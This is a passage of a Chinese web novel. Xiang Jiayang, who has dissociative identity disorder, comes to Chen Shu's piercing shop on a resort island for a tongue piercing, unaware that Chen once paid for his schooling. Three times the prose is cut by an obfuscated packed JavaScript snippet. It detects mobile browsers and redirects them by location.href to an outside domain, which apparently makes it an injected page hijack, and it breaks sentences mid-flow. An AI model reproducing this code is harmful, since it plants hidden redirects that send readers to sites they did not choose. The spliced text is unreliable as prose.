路已经被带歪了。 他抿唇,欲盖弥彰:[陈老板,我不是坏人] 他只是喜欢陈述的脸,还想摸一摸陈述高挺的鼻梁骨和藏在衣服下的肌肉。 不骗财,纯好色。 这个点钛谷店不忙,学徒都在吃饭,陈述正靠在窗边收风铃。 岛上挨家挨户都挂有风铃,这是当地特色。 简凡路过时,阳光下的影子刚好打在他肩膀上。 陈述看了眼,意外地发现那儿的风铃影子只有一块椭圆的黑影,而不是金鱼。 向嘉洋坐在沙发上玩棋,会有金鱼游过。 是天时,地利,人和。 “述哥,他加你没有?”简凡好奇地问。 “嗯。”陈述似乎有些累,他一整天没吃饭,赶了个图,中间还抽空去给人画了人皮扣的稿,嗓音带了点哑,很好听,“加了。” “你们聊了没?” 陈述笑一声,“没什么好聊的。” 简凡露出震惊且并不认同的表情,但很快被陈述轰走了。 陈老板一出手动辄几十万,在他这预约纹身排期已经到了明年。干这行会遇到形形色色的人,性格迥异,五花八门。 陈述工作号收到过聊骚信息,用纹身名义加上好友后说要跟他约炮的也不少。 不过还没有哪一次回复,是像现在这样纠结。 陈述看着手机。 界面停留在向嘉洋说他不是坏人。 对话框第一句话,是好友申请的验证信息。 [我叫向嘉洋!] 当时陈述正在给人纹身,纹完才看见小红点。他眉毛一皱,问老爷子,向嘉洋是哪儿人。 凉山。老爷子说。 陈述一顿。 纹身室内的线稿像是蔓延到了陈述的手腕上,打了一个漂亮的结绳。 如果别人问他那种问题,陈述压根不可能回复。 越界了他就当骚扰处理。 但向嘉洋不一样。 陈述想了一整个晚上,最后叹了口气才说,“是”。 他拿出另外一个手机,上面登着生活号。 聊天框几乎划到底,翻到一个对话框。 [哥哥,我是你资助的学生向嘉洋,非常感谢你这几年对我的帮助。我找阿木曲布老师要到了你的联系方式,我想告诉你,我收到了首都大学的录取通知书。] [但愿我没有让你失望,哥哥。我会努力生活,有能力以后我也想资助贫困生,成为和你一样的人。] [欢迎你来我的家乡玩,这里一定会越来越好的。] [祝哥哥你身体健康,万事如意。我会永远记得你,永远为你祈福。] [万分感谢!] 这些发完后,向嘉洋还给他转了一万块钱。 陈述没有收,退回了转账。 他知道这些钱都是向嘉洋省吃俭用攒下来的。 他们的聊天记录很短,大学四年向嘉洋只有每年春节会给陈述发新年祝福,像是怕打扰了陈述。 本来只是资助和被资助的关系,他们互相都以为,以后不会有交集。 点到为止就好。 陈述是由朋友牵线加入的一对一资助计划,在资助期间基本只和向嘉洋的学校老师沟通。阿木曲布是向嘉洋高中班主任,会定期给陈述发向嘉洋的成绩单。 阿木曲布:“孩子很刻苦,也有点天赋,就是家里情况不好,他爸坐牢,欠了一屁股债没还,母亲又已经过世,压力都在他身上。总之感谢您了陈先生,在您提出资助之前这孩子已经跟我提过三次要退学的事儿,我死咬着牙一直没肯答应,怎么劝都没用,归根结底,还是钱的问题...” 阿木曲布:“孩子说要叫你义父。” 陈述:“不敢当。我没比他大几岁,叫哥哥就好。阿木曲布老师,麻烦你多关照他,生活费如果不够和我提,但不要让他乱花钱。” 一开始陈述还怕向嘉洋年纪小不经事,然而这个担心太多余。 向嘉洋一次比一次考得好,从没有和老师反馈过钱不够用,只说“够”,“没关系”,“题目不难”,“谢谢老师,我不累”,诸如此类。 为保护资助人信息,向嘉洋只知道一个姓陈的哥哥资助了他,每个月经阿木曲布老师的手给他生活费。 而陈述则见过向嘉洋照片,高中时期的。他坐在一众脸蛋灰扑扑的贫困生里很特别,一双眼睛里有质朴也有锋芒。 第一眼见到这张照片时,陈述笑了。 他指着向嘉洋跟朋友说,看到了么,这个小孩儿会长出翅膀飞出去的,他眼睛里写着呢。 那时候的向嘉洋发育慢,还没长个子,五官也没长开。所以向嘉洋来岛后,陈述没有认出来。 照片和本人还是有差距,本人更温暖一些,或许有大学经历改变了他的缘故。 他们最后的聊天记录停留在一年前的春节。向嘉洋说他读研了,陈述回复“好”。 似乎已经没有什么可以再说。无助的阴雨时代已经过去,向嘉洋不再是学生,他有自己的生活,陈述也有自己的生活,他们将要变成平行线。 陈述切回工作号。 向嘉洋来了风铃岛,他应该当做弟弟看待地照顾一下。 虽然不清楚向嘉洋高中毕业后过着什么样的生活,但陈述作为医学生半路转行,能看出向嘉洋的状态有些不对。 来风铃岛旅居的人或许本身就在寻求一种疗愈。 陈述回了信息。 [想打什么样的钉?] * [直杆钉。] [陈老板,我需要预约吗?会不会要等很久] 陈述:[穿孔不用。] [好诶!] [那我什么时候可以去?] 陈述:[明天下午三点,有空吗?] [ok(*^U^*)] 向嘉洋来回点了三次聊天框,第四次时把陈述工作号的备注改成了“魔法师”。 joe在休眠中,具体什么时候醒视情况而定。 换环境时磁场骤变,生活节奏被打乱,安全感有所缺失,joe会像短路的老式灯泡的灯光,突然出现又突然消失。 当joe要出现时,向嘉洋的脑袋会变沉,这几乎已经变成了一种信号——让向嘉洋尽快远离人群,找个安静的地方待着,等待副人格切号。 向嘉洋切回手机主界面,瞥见自己一个月前设置的新壁纸。 一张他拍摄的牙科的就诊记录,旁边p了一行大字: 珍爱口腔,保护舌头!!! 向嘉洋身上的毛病很多。最大的是人格,不大不小但最麻烦的是舌头。 他的舌头很敏感,这种敏感他自己是免疫的,但别人碰了不行。 用手指不行,用坚硬冰冷的器械也不行。 一碰就像有一万只蚂蚁在他身上爬,大脑会窜过一串串电流。 还会无法控制地波奇。 医生说,这叫局部神经反射弧紊乱。 想起之前在口腔科闹出的乌龙,向嘉洋尴尬地揉了揉自己的鼻子,紧张地问: [陈老板,你能不能鼓励我一下?我是第一次穿孔,有点怕疼] [但我不是不敢!我不会给你添麻烦的,也不会穿完了给你打差评,叫你退我钱的] [真的] 我要为爱献身了。向嘉洋想。 如果joe在,此刻一定会发出尖叫。 但他这不是不在嘛。 向嘉洋捧着手机,趴在床上等。 等久了换了个姿势,侧躺着。 最后又变成盘腿坐。 还没等到回复,向嘉洋失落地躺回床上,思考自己是不是用错了方式。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177234|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可是他没有很明显吧? 陈老板你到底会不会做生意! 又过了七分钟,陈老板似乎是忙完了,向嘉洋手机震动两下。 陈述:[我不会让你疼的。] 陈述:[加油] * 夜。 向嘉洋准备通宵画稿,近凌晨,窗边的空调却突然开始漏水,啪嗒啪嗒地掉在地上。 起初向嘉洋还以为是自己听错了,侧过头一看,地上已经有了一滩水渍。 他连忙拿了脸盆来接水,发信息询问房东: [张阿姨,我房间的空调好像坏了,我要找谁来修才好?如果你认识师傅的话可以给我一个联系方式吗?] 这个点张凤已经睡了,向嘉洋打算先吹风扇,明早再说。 然而他找了一圈,发现风扇也坏了。 窝在床边画了一个小时,向嘉洋有些受不住,热得他后背被汗水浸湿。他拿上手机和耳机,轻手轻脚拉开门,走出了小院。 凌晨的风铃岛安静下来,路上三三两两的夜宵摊尚且热闹,各大小区则静悄悄的。 向嘉洋一边听着歌一边散步,而后站在街边的灯光下,看着远处的海岸线发呆。 隔壁马路边一家烧烤店里走出来几个人,简凡勾着几个哥们,聊天声音爽朗,笑声不断,陈述站在那群人中间,脸上表情很淡,但就是有一种能让人把他从中一下挑出来的气质。 向嘉洋看到他们了,简凡也看到了他。 “述哥,那不是?!”简凡回头,冲陈述一努嘴。 向嘉洋注意到陈述视线,隔空冲他笑了笑。可能笑得很夏天,因为陈述眼睛眯了一下。 向嘉洋没打算过去打招呼,陈述的朋友们在,他要讲礼貌和分寸,不能去凑热闹。 那一帮人呼啦啦地过了斑马线,陈述却从人群中抽离出,站在原地冲他们摆摆手。 “不走?” “不了。”陈述说,“你们玩儿。” 他给了简凡一个眼神,简凡领着众人离开。陈述转头,朝向嘉洋走来。 “怎么站在这?”陈述靠过来时声音慢慢清晰,浓醇动听。 “家里空调坏啦。”向嘉洋笑着,问什么答什么,“我出来透透气,太热了。” 陈述看了他一会儿,“带我去。” “去哪儿?”向嘉洋愣愣地。 “你的房间。” “我去看看,能修就帮你修。晚上太热不好睡觉。” 向嘉洋吃惊:“你还会修空调吗?” “看起来不像?”陈述挑眉。 “不是看起来不像,我是觉得你会的东西好多。”向嘉洋毫不吝啬地夸他,“你好厉害!” 绿灯亮起。晃晃悠悠的自行车开过斑马线,暮色四垂,四周没有鸣笛声,只有陈述和人讲电话的低语。 他走在前面,一步之遥。向嘉洋跟在后面,只能看到陈述的背影。 跟着陈述的脚步,向嘉洋玩追影子的游戏。路灯下,男人的影子被拉得很长,能把向嘉洋罩住。 电话停了,因为陈述停了。他回头看着向嘉洋,“你跟上来。” “不要,我不好意思跟你并排走。”向嘉洋说。 陈述问他为什么,没等到回答又转念想了想,猜测:“我看起来不好相处?” 向嘉洋觉得陈老板的自我认知很好玩,笑得更开心了,但仍旧没说话,只摇头,坚持不跟陈述并排走。 陈述也没再强求,两人一前一后回了民宿,路上都没怎么说话,可是一点也不尴尬。 甚至觉得很安宁,好像生活本来就应该这样。 向嘉洋的耳机里在放: -我可以跟在你身后,像影子追着光梦游。 他该怎么和人解释,自己只是听到这句歌词后刚好看到了地上的影子,就决定要跟踩? 机缘巧合的瞬间很特别。 而如果是樊煜,他肯定又要左耳朵进右耳朵出,或者不耐烦地说向嘉洋闲得慌。 算了,我自己理解就好。向嘉洋想。 ———— —— 5. 夹舌 * 房间里闷热。 向嘉洋开了灯,陈述站在桌边,环顾四周。 东西摆放得很乱,看得出向嘉洋是个随性的人,窗口放着画架,用白布遮盖住了,桌上还有数位板。 虽然乱,但不脏,空气里还有很淡的沐浴液香味。 陈述推开窗给房间通风,问他:“知不知道螺丝刀放在哪?” 向嘉洋摇头。 陈述于是出去了会儿,他跟张凤熟悉,在民宿里转了两圈,找到工具箱。 回来时向嘉洋坐在床边,看起来很乖,背挺得笔直,像上课被老师提问的学生。陈述觉得好笑,找螺丝刀时问:“来风铃岛住多久?” “我付了三个月的房租。”向嘉洋看向他,“陈老板,你能修好它吗?” “能吧。”陈述做什么事都有一种云淡风轻的感觉,很靠谱,他骨节分明的手指握着螺丝刀,因为个高,都不用找凳子,伸手就能够到空调,“漏水一般是里面堵着了。” 陈述把空掉面板拆开,找到排水管接口。 “压缩机也老化了,换一个比较好。”陈述说。 他在用长铁丝通管子,向嘉洋视线就定格在陈述身上。 肱二头肌饱满,在黑短袖下鼓起。 好看。 没有小肚腩,腹部平整,结实流利。 优秀。 背脊宽阔,隐约能看见斜方肌,呈大三角。 完美。 如果陈老板是他男朋友就好了。 他就可以让陈述脱光了站在那别动。 当他的裸模。 这简直是行走的人体素材。 向嘉洋舔了一下嘴唇,明目张胆地打量陈述。 但是听说男生有顶端优势,长得高的那儿不一定大。 哎呀向嘉洋你想什么呢! “陈老板。”向嘉洋叫他。 “嗯?” “我要给你多少钱啊?”向嘉洋小声,“我现在银行卡里钱很少,你要是修好了能给我打个折吗?我目前没有稳定的收入,每天吃饭就要花一百,我胃口好。” 一提到收入,向嘉洋就很想对着在修空调的陈述问一句,师傅你是做什么工作的。 陈述停下手里动作,低下头看他,似乎是被逗笑了,问,“什么?” “你是钛谷的老板,他们说你手很稳,那你的小时费肯定很贵。你帮我修空调修了这么久,要收很多钱吧?”向嘉洋有商有量,“我也不能白占用你的时间。” 向嘉洋的家乡很落后,还是少数民族地区,和东南沿海有不少文化差异。 这是向嘉洋第一次租房,之前都在学校住宿。他没有经验,也不知道其实民宿空调出问题是可以找房东解决的,自己大可不用出这笔钱。 他以为这个房间被他租赁了,那在这段时间里就是他的了。 自己的东西坏了,自己出钱找人修好,理所应当。 “不收你钱。”陈述说,“好好吃饭。” 他真的像个魔法师一样把空调修好了,开机后不再滴水,向嘉洋眼睛亮起来,朝他竖起大拇指。 “我去洗个手。”陈述失笑道。 他绕过向嘉洋时,看见床上摆着几个药盒。瓶瓶罐罐,种类很多,其中一盒包装上写着“氟西汀”,一种缓解焦虑的药。 陈述目光很轻地从那上面扫过,去了洗手间。 一分钟后,他擦拭着被水打湿的手指走过来,道:“早点休息,我先走了。” 视线再不经意扫过床单时,陈述发现向嘉洋已经把药盒塞进了被子里藏好,显然是不想被人看到。 “好!”向嘉洋朝他挥挥手,眉眼弯弯,“陈老板,明天见。” 陈述看他一眼,点头:“明天见。” * 向嘉洋趴在床上,拿过来得力的方格本,补充注意事项。 乔,我和陈老板加上微信了(*^U^*) 23号下午三点我们要去钛谷,找陈老板穿孔。 如果你出现而我在休眠,那你就代替我去。一定要守约,这是很重要的事。 如果你没出现,那我就要打上人生中第一个舌钉了,为我高兴吧! 向嘉洋写字很Q,任何字在他手里都会变成圆形。相比之下,joe的字则凌厉而霸道,喜欢连笔。 反复阅读注意事项,向嘉洋再次补充碎碎念: 我觉得陈老板人很好,他帮我修空调,还不收我的钱。 你对他要礼貌,好吗? 而且他不拈花惹草。 你看,我就说还是有特例的。 我不会跟樊煜复合,你别再生气,原谅我吧。 我们好好相处,不要互相折磨。 这些补充完毕,向嘉洋才躺好准备入睡。 他渐渐习惯了joe的存在,每次joe发火或者处于暴躁期,向嘉洋都会耐心地哄着。joe就是一个还在青春期的小孩,他占据身体的时间也远不如主人格,这个世界上只有一只手都数得过来的人知道joe的存在。 向嘉洋是joe接触这个世界的媒介,也是基石。他在努力学习做一个称职的哥哥,和joe一起承担这具身体。 开了空调的房间渐入舒适的温度,风拍在脸上像恋人轻柔的抚摸。 向嘉洋睡着了,半夜三点却被一通电话吵醒。 那边环境嘈杂,像是在酒吧。醉醺醺的人声响起:“宝贝儿...” “我好想你。”樊煜说。 向嘉洋一看屏幕,樊煜学聪明了,用的别人的号码打过来。 樊煜吐字不清,走路还颠簸着,“我下个月就回国了,我去找你好不好?我给你道歉认错,你让我做什么就做什么...给你转账,二十万,想买什么你随便买..怎么样?” “你别跟我闹了。”樊煜很少这么低声下气地央求。 向嘉洋皱眉:“你人在哪?” 那边忽然有个夹着嗓的男人,讨好道:“小樊总,再喝一杯嘛,晚上我陪你啊。” “操。”樊煜骂了一声,还推了他一胳膊,“滚远点!老子点你了吗你就碰上来?你们经理呢,把你们经理叫来!” 向嘉洋没说话,电话里一顿拉架的声。他听了会儿,才开口:“我们已经分手了,樊煜。你爱怎么样怎么样,不用跟我汇报。” 顿了顿,又道,“也不用演给我看吧。” 樊煜赶紧解释:“上次的事是误会,宝贝儿。我那天在会所跟人谈项目喝醉了,那些男公关你也知道的...待着一个有钱人就不放,眼里能放光,恨不得当场把人裤子扒了坐上来!他们绝对是做局阴我!” “嗯,知道了。”向嘉洋困得眼皮打架,平静道,“小樊总你日理万机,我不喜欢你了。” “...什么?”樊煜声音一下变了调。 他们在一起时吵过架,也不是没闹过分手,但是没有哪次向嘉洋说不喜欢他了。 樊煜登时火了:“向嘉洋,你想清楚了再跟我说话。” “拜拜。”向嘉洋说。 “...” 他直接挂了电话,把手机关机,倒头就睡。隔着大西洋,樊煜草了一声,一拳砸在墙上,烦躁地抓了一把头发,笔挺西装都起了褶皱。 樊煜手机里唯一一个置顶是向嘉洋。自从樊煜跟向嘉洋说,不喜欢你离我那么远,感觉不踏实后,向嘉洋在国外读研每天都会给樊煜报备,吃了什么,做了什么,遇到了什么人,还有joe又龟毛地惹了什么事儿。 -嘿嘿,买了新的画笔![图片] -我要洗澡啦。 -樊煜樊煜,我们打个视频电话好不好,想看你的脸 -[图片]surprise!后天回国的机票! 诸如此类。 樊煜工作时忙,有时候看见了忘记回,向嘉洋也不在意,事无巨细报备。 特可爱,特别让人放心。 久而久之,樊煜只会回复最后一句,前面的信息基本扫过一遍不再特意回复了。 对话框里白色很多,绿色很少,现在回过头来看,樊煜发现自己对向嘉洋很冷淡。 他试着也给向嘉洋报备自己的一日行程,结果每条信息都带了个红色感叹号。 提分手后,向嘉洋就没把他从黑名单里放出来过。 樊煜想不通了。他们谈了一年多,感情好时如同浓蜜甜浆,樊煜觉得自己也不是犯了什么天条,不就是犯了个男人都会犯的错误,怎么就被向嘉洋断崖式分手了。 他又不给别的小情儿花钱,对向嘉洋付出时也很大方。 但樊煜想起,当初认识向嘉洋时,他就很抢手。 樊煜一开始追得很上心。 此刻樊煜忽然意识到。 能给向嘉洋花钱的人不会只有他一个,能让向嘉洋报备的人也不会只有他一个。 他算个鸡毛男朋友,完全是追到人后就他吗飘了。 樊煜又开始疯狂给向嘉洋发邮件,让他等着自己回国。 * 下午三点,钛谷店。 向嘉洋一走进门就被简凡致以最高礼节:“欢~迎~光~临~,里面请!” 他甚至带了几个学徒呈两侧排开,朝向嘉洋鞠九十度躬。 “谢谢!”向嘉洋也学着他们的模样鞠躬,“我喜欢你们!” 一帮二十出头的年轻人笑作一团,简凡压低声音跟他们说:“这位可是贵客知道吗?很有可能把我们老板收走。好好招待!” 陈述已经在穿孔室等他了,向嘉洋敲门后走进去,看见陈述站在椅子旁,手里拿着福尔赛普钳和穿孔针。 他手边还有敷料和棉签,止血清洁用。 陈述的穿孔店很正规,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177235|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消毒灭菌器械,向嘉洋看他用洗手液洗了三遍手,戴上一次性医用手套。 无菌垫和托盘上工整摆放推进器和导管,陈列柜里有他的独立设计作品——众多精美的成品钉子。 “坐。”陈述拉开椅子,示意。 向嘉洋紧张得同手同脚,他做了一上午的心理准备,这会儿连说话都不利索。 没话找话似的,向嘉洋问:“陈老板,你身上有纹身吗?” 陈述看他,扬起眉:“没有。” “为什么?”向嘉洋好奇,“你是纹身师,自己没有纹身吗?” 陈述道:“嗯,我要考公。” 向嘉洋:? 看到陈述嘴角勾起一个很淡的弧度,向嘉洋反应过来,陈老板是在逗他。 他好像确实没那么紧张了,坐姿随意了些,不好意思地冲陈述笑笑,下意识摸摸自己后脑勺。 陈述开了一盏白炽灯,拿着钳走过来时给人压迫感。 他五官太冷硬,向嘉洋咽了下口水。 “不会疼。”陈述垂眸看他,说,“放松点。” 向嘉洋点头。 沉默几秒。陈述笑了:“张嘴。” “你不张嘴我怎么穿?” 向嘉洋像被踩了一脚,赶紧张开嘴巴。 陈述干活时话不多,看向嘉洋也没有要他聊天安抚情绪的意思,直接上了手。 独属于男人的成熟气息铺天盖地漫过来,福尔赛普钳夹住了向嘉洋的舌头。 冰冷器械材质坚硬,一阵凉意流过四肢百骸,集中往脑门钻。 向嘉洋瞳孔骤缩,膝盖条件反射地动了动,顶到了陈述的腿。 陈述顿了下,目光注视向嘉洋舌头,不动声色。 “很快就好。”陈述低沉嗓音在耳边响起。 温热的呼吸像羽毛,送着一阵酥麻直通耳道。 向嘉洋的舌头很薄,肌肉层较浅,初穿钉子不适合太长,12mm足够。陈述用钳子拽了一下他的舌头,向嘉洋反应很大,想往回缩。 陈述没让他缩,上了点力道。 “忍忍。” 被他钳制的舌尖泛红,口腔内分泌了不少唾液。 陈述鬼使神差地抬眸,对上向嘉洋视线。 那双眼睛像受惊的鹿,眨眼频率骤增,瞳孔含了一层水。 他好像很害怕。 陈述停下了,松开穿孔钳,问他:“确定要继续吗?” 当然要! 向嘉洋舌头都快麻了,手在唇边扇着风,耳廓发红,一时半会说不了话。 他只能朝陈述重重点头。 报着壮士赴死的决心。 他又不是真的怕,他只是很敏感。 他只是想泡老板! “放松。”陈述再次道,“张嘴,我看看。” 可能是第一次遇到向嘉洋这样的顾客,陈述要确认是什么情况。 他手指撬开向嘉洋牙齿,压上舌面。 “这样疼不疼?”陈述看着他,问。 向嘉洋宕机了。 戴着手套的指腹是冷的,可是他的口腔和脸都好热。 热得快要如同火箭发射了。 “唔*&!%@...” 陈述低下头,凑近了说,“重复一遍。” “这样不疼...”向嘉洋可怜道。 陈述于是加了一根手指,夹住他的舌尖。 揉搓了两下后,向嘉洋脸上热度瞬间攀升,涨红得像熟透的番茄。 好痒...好麻。 周遭的氛围慢慢变了,陈述漆黑的眼眸里倒映他的脸。 向嘉洋听到男人问:“抖什么?” “...” 他腾地一下站起来,让开了陈述的手。 “对、对不起陈老板,我能不能去一下洗手间?” 陈述说可以。 向嘉洋像离弦的箭,拔腿就跑。 他起反应了,这很严重。 他还是高估了自己的忍耐力,低估了他那些千奇百怪的小毛病。 好可怕。 陈老板应该没有发现吧! 向嘉洋特地穿了宽松的裤子和长T恤。 简凡敲门进来,发现穿孔室内竟然只有陈述一个人,他把备用棉签放在桌上,奇怪:“人呢?” 陈述靠在窗边,手指来回翻着穿孔针,抬了抬下巴,“洗手间。” “为啥?”简凡懵了,“尿急?” “应该不是。”陈述随便打发了他,“废话怎么那么多,忙你的去。” 简凡更懵了。 不应该啊,他们陈老板的技术是岛上第一。 怎么把人穿到洗手间去了。 大出血? 炸洞了? ...还是崩孔了?? ———— —— 6. 爱情悖论 * 向嘉洋在洗手间待了几分钟,出来后像落水的小狗般坐在椅子上。 “不好意思,陈老板。”向嘉洋耷拉着脑袋。 陈述放下穿孔钳,侧头看他,眉毛一皱,“为什么道歉?” “我浪费了你的时间。”向嘉洋很怕这个。 成年人的时间都是很宝贵的,尤其在工作方面。他看得出陈述做了很多前期准备工作,消毒设备也需要成本。 陈述摇头,“暂时接受不了就不穿了,没什么,不用抱歉。下次再说。” 人的预期和实际情况总会有差距,陈述也不是没遇见过类似的情况。 向嘉洋觉得很有必要澄清:“我不是接受不了,我是...生病。” 他这话成功让陈·曾经的医生·述走了过来,摘了手套直接用手背贴在了向嘉洋的额头上。 “我很早就想说了,你是不是状态不太好?”陈述低头看着他,又来回翻着手背贴了两下,“体温还行,不像发烧。” 很早就想说了是什么意思? 向嘉洋微微启唇,愣怔:“哦,发烧是没有的..可能水土不服,有点胃胀。” “前台抽屉里有吗丁啉,叫简凡给你拿。” 他这样的表现,陈述是肯定不会让向嘉洋继续穿了,开门叫来了简凡。 简凡靠在门口,饶有兴味地打量他们两人。 “感觉怎么样?技术好不好?”简凡哪壶不开提哪壶。 向嘉洋惭愧:“..没感觉到,我不太舒服,陈老板叫我下次再来。” 还有下次? 简凡吹了声口哨,很欠揍地看向他们老板,被陈述丢了个笔帽,砸得一点都不疼,他反而更皮,直接自来熟地勾上向嘉洋肩膀:“怎么称呼你?嘉洋?这样可以吧。话说你为什么想来打舌钉?” 旁边陈述在整理器材,估计也听着,向嘉洋想了一个完美的回答:“如果你问的是我为什么要打舌钉,肯定是因为喜欢。如果你问为什么选择的来这里,那是因为人。” 至于为什么因为人,可以是看中技术,也可以是单纯看中陈述。 看别人怎么解读了。 厉害。 这种毫不扭捏的性格简凡最欣赏。 简凡乐得直接拍了下掌,回头冲陈述一摆手:“我带他出去了述哥,你忙。” 领着向嘉洋去沙发休息,简凡直截了当:“你是不是看上我们老板了!” “是的。”向嘉洋微笑承认,“但是你不能让你们老板知道我看上他了!” “为什么?”简凡好奇,“岛上多少嬢嬢想把他们女儿介绍给述哥呢,gay吧里也是群魔乱舞。你不加强一点攻势可能会烟花易逝情水东流。” “那么多人追他,他都没答应,我要不走寻常路。”向嘉洋说,“我要润物细无声地接近陈老板,以客户或者以朋友的身份。等他回过头来已经来不及了。” “但我没表白,他没办法开口拒绝我。” 简凡差点把自己大腿的裤子都捏裂,他心道硕士就是不一样。 细想一下,陈述的确不吃攻势火热的那一套,拒绝别人时一脸正义凛然,好像下一秒能参军。 “你放心。”简凡点头,做了个缝拉链的动作,拉上嘴,“我保证不会瞎凑热闹帮倒忙。” “你很有经验。追过不少人?”简凡私心里也想替陈述把关一下。 向嘉洋指了指自己的脸,反问他:“我像吗?” “....”简凡服了。 的确不像。 向嘉洋长得很好看,人又瘦又有气质,文艺范里带点电波系,说话好听,身段漂亮。 他更像是被人追的。 简凡和向嘉洋加了个微信,两人握手,简凡冲他笑:“等你好消息。” 向嘉洋离开了钛谷。 他在附近超市逛了逛,买了点日用品回民宿,洗完澡准备赶稿时拿起手机,点开置顶。 置顶只有一个,他给对方的备注是“哥哥”。 但其实向嘉洋一直把对方当做义父,尽管阿木曲布老师明确转达过,对方让他别这么喊。 一个长辈的职责就是抚养孩子长大,给予足够的爱、关怀和耐心。 这些向利超没做到,资助人做到了。 向嘉洋非常感恩对方,也非常尊敬对方,他在中学时代会写信给资助人,委托阿木曲布老师送到邮局去。凉山本就是贫困地区,向嘉洋所在的还是深度贫困县,可想而知教育资源和生活环境都与东部发达地区有天壤之别。 [哥哥,我毕业后选择了gap,现在在风铃岛旅居,之后可能会打义工。和你说一声我一切都好,祝你也是。] 这样简短地告知近况,是向嘉洋坚守的原则。他得给资助人一个交代,不管是为了在他身上投入过的那些金钱还是别的什么。 但他从来没有告诉过资助人自己生了病。 一是不想让对方担心,二是这个病能不能好根本没有定性。 双重人格即分离性身份障碍,简称DID,一种相当难以治疗的心理疾病。向嘉洋常年去看精神科医生和临床心理学专家。 他是一个很坚强的人,不愿意暴露自己最脆弱的一面,也不想让人过多了解joe和自己。 当然,樊煜之所以知道joe的存在,是因为向嘉洋所受的教育不允许他对最亲密的恋人隐瞒疾病。 确认樊煜不介意joe的存在后,向嘉洋才同意和他交往。 半小时后对面给了回复。 [恭喜毕业。选择你喜欢的生活就好,不用有压力。如果有困难,随时找我。] 看到这样的回复,向嘉洋勾唇笑了。 他心情直线上升,冒着泡泡一样,盘腿坐在椅子上,垂着傍晚夏夜的凉风,听着风铃声画画。 * 陈述回了趟老房子。 陈平雷不习惯住在大别墅,说冷冰冰没有一丝人气,陈述买别墅时他就一直阻止,最后还是没拦住。 别墅距离钛谷店近,老房子远,在风铃岛的外岛,田园边。 依山傍水,能看到海岸线和防护堤。 陈述一进门,先把车钥匙丢在玄关鞋柜上,随手一扎发尾,准备去做饭。 陈平雷在看百家讲坛,瞥见他进来脸色发臭:“我改天一定要把你那个头发给剃光。” 老爷子诟病陈述的鲻鱼头许久,认为男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177236|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就应该是寸头,充满军人的风范。 “剃吧。”陈述没什么所谓地开了灶台的火,“您说要把我的手剁了也说了有一年多了。” “...” 老爷子直起身,嘀嘀咕咕开始找打火机。他烟瘾很重,以前压力大留下来的陋习,找了半天没找到,陈述回头看他佝偻着背,忽然有些恍惚。 陈平雷老了,岁月不饶人。 师长风范依旧,容貌却难免沧桑。 陈述说:“拿来吧。” 老爷子把烟递给他,看陈述直接把烟伸进用灶台的火里,点燃后塞还给他。 动作还挺洒脱。陈平雷冷笑一声。 他看着陈述炒菜,站在厨房门口呼出一口烟圈问:“你觉得向嘉洋那孩子怎么样?” “什么怎么样?”陈述揣着的事多了,反问老爷子。 “你不是说你不喜欢女人吗。你爸没拿竹竿把你抽死是给我这老头一个面子,你知道不?”老爷子满脸嫌弃地看他,“别人家那些个纨绔浪归浪,年轻时不懂事,步入三十岁也都成家立业了,你呢,你身边只有一条狗!” “我不是纨绔。”陈述说,“我记得我以前拿过的奖状可以糊三面墙。” “......”陈平雷被他气个半死,“我就问你向嘉洋那孩子你觉得能不能发展!” 陈述觉得好笑:“您就别操心这些了。况且人家对我没有这方面的意思。他能看上我什么?” “哟。”陈平雷稀奇,故意挖苦他,“你还挺有自知之明啊。” “你对他没有意思?” 陈述摇头:“没。” “他不好?” “不是不好。”陈述说,“是太好了。性格很招人喜欢。” 所以更不合适了。 向嘉洋的选项可以有很多。 而且他们的关系委实微妙。 陈述不可能下手,他还拿向嘉洋当一个小孩儿。 就像在哥哥面前,弟弟不管多大了都永远是弟弟。 小孩儿说了,房租付了三个月。 三个月后向嘉洋有可能在世界的任何一个角落,而不是风铃岛。 世界很宽广,从山里走出来就该放肆地去看海。 再者,陈述忙着开店,天天赶图,没心思弄这些。 店里学徒几乎都是家里条件比较困难,或者半路辍学难以找到好工作的。 简凡更是,他之前蓄了几年长发,梦想是当摇滚巨星,结果脑子里长了个瘤,要做手术开颅,就把头发全剃光,留了个寸板。 “您老放心,我不会糟蹋你新看中的棋友的。”陈述端了三菜一汤放桌上,“吃饭。” 陈平雷似乎是很不服气。他性格古怪,其中一点表现为越老越喜欢和陈述对着干,看他孙子不顾家族阻拦非要开纹身店,竟然还开得那么好,老爷子觉得被挑衅了。 故而他冷笑着把碗里的青菜都挑出去,吃了一大口肉道:“有你后悔的时候,别在这跟我装模作样。” “我赌你小子迟早栽跟头。” 